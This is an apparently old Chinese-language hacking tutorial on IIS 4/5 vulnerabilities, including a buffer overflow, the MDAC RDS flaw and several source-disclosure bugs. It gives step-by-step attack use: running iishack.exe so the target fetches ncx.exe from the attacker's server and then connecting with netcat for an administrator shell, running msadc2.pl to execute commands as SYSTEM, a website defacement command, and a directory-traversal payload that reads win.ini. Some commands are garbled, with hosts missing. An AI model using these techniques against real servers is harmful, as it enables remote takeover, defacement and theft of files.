1. iis4hack緩沖溢出
主要存在于.htr,.idc和.stm文件中,其對關于這些文件的URL請求沒有對名字進行充分的邊界檢查,導致運行攻擊者插入一些后門程序
在系統中下載和執行程序。要檢測這樣的站點你需要兩個文件iishack.exe,ncx.exe,你可以到下面
的站點去下載,另外你還需要一臺自己的WEB服務器。你現在你自己的WEB服務器上運行WEB服務程序并把ncx.exe放到你自己相應的目錄下,然后使用iishack.exe來檢查目標機器:
c:>iishack.exe80/ncx.exe
然后你就使用netcat來連接你要檢測的服務器:
c:>nc80
如果溢出點正確你就可以看到目標機器的命令行提示,并且是管理遠權限。利用程序見iis4hack.zip
2.msadc
IIS的MDAC組件存在一個漏洞可以導致攻擊者遠程執行你系統的命令。主要核心問題是存在于RDS
Datafactory,默認情況下,
它允許遠程命令發送到IIS服務器中,這命令會以設備用戶的身份運行,其一般默認情況下是SYSTEM用戶。利用程序為msadc2.pl,我們看看它的help
[quack@chat quack]$ perl msadc2.pl -h
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Usage: msadc.pl -h{ -d-X -v }
-h= host you want to scan (ip or domain)
-d= delay between calls, default 1 second
-X = dump Index Server path table, if available
-N = query VbBusObj for NetBIOS name
-V = use VbBusObj instead of ActiveDataFactory
-v = verbose
-e = external
dictionary file for step 5
-u <\hostsharefile> =
use UNC file
-w = Windows 95 instead of Windows NT
-c = v1 compatibility (three step query)
-s= run only step
Or a -R will resume a (v2) command session
[quack@chat
quack]$ perl msadc2.pl -hhttp://www.targe.com/
-- RDS
smack v2 - rain forest puppy / ADM / wiretrip --
Type the
command line you want to run (cmd /c assumed):
cmd /c
如果出現cmd /c后,直接鍵入命令行,就可以以system權限執行命令了。比如xundi教的:
echo hacked by me > d:inetpubwwwrootvictimwebindex.htm
3.Codebrws.asp
察看文件源代碼
4.Showcode.asp
察看文件源代碼
5.Null.htw
察看文件源代碼
6.webhits.dll & .htw
hit-highligting功能是由Index
Server提供的允許一個WEB用戶在文檔上highlighted(突出)他們原始搜索的條目,這個文檔的名字通過變量CiWebhitsfile傳遞給.htw文件,Webhits.dll是一個ISAPI應用程序
來處理請求,打開文件并返回結果,當用戶控制了CiWebhitsfile參數傳遞給.htw時,他們就可以請求任意文件,結果就是導致查看ASP源碼和其他腳本文件內容。要了解你是否存在這個漏洞,你可以請求如下條目:
如果你從服務器端獲得如下信息:
format of the QUERY_STRING is
invalid這就表示你存在這個漏洞 .這個問題主要就是webhits.dll關聯了.htw文件的映射,所以你只要取消
這個映射就能避免這個漏洞,你可以在你認為有漏洞的系統中搜索.htw文件,一般會發現如下的程序:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/isssamples/exair/search/qfullhit.htw
/isssamples/exair/search/qsumrhit.htw
/isshelp/iss/misc/iirturnh.htw
(這個一般為loopback使用)
一個攻擊者可以使用如下的方法來訪問系統中文件的內容:
ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full
就會在有此漏洞系統中win.ini文件的內容。 7.ASP Alternate Data Streams(::$DATA)
要查看一些.asp文件的內容,你可以請求如下的URL: 你就得到了源代碼
8.ASP Dot Bug
在請求的URL結尾追加一個或者多個點導致泄露ASP源代碼。
9.ISM.DLL
這個漏洞是由Cerberus Information Security
team.最早發現的,它運行在IIS4.0和5.0上面,允許攻擊者查看任意文件內容和源代碼。通過在文件名后面追加近230個+或者?%20?(這些表示空格)并追加?.htr?的特殊請求給IIS,會使IIS認為客戶端請求的是?.htr?文件,而.htr文件的后綴映射到ISM.DLL
ISAPI應用程序,這樣IIS就把這個.htr請求轉交給這個DLL文件,然后ISM.DLL 程序把傳遞過來的文件打開和執行,但在ISM.DLL
截斷信息之前,緩沖區發送 一個截斷開的 .Htr 并會有一些時間去返回一些你要打開的文件內容. 除非 WEB
服務停止并重啟過,否則這攻擊只能有效執行一次。如果已經發送過一個 .htr 請求到機器上,那么這攻擊會失效.它只能在
ISM.DLL第一次裝入內存時工作.CNNS發現追加+號到沒有一次攻擊這個問題,可以進行多次攻擊。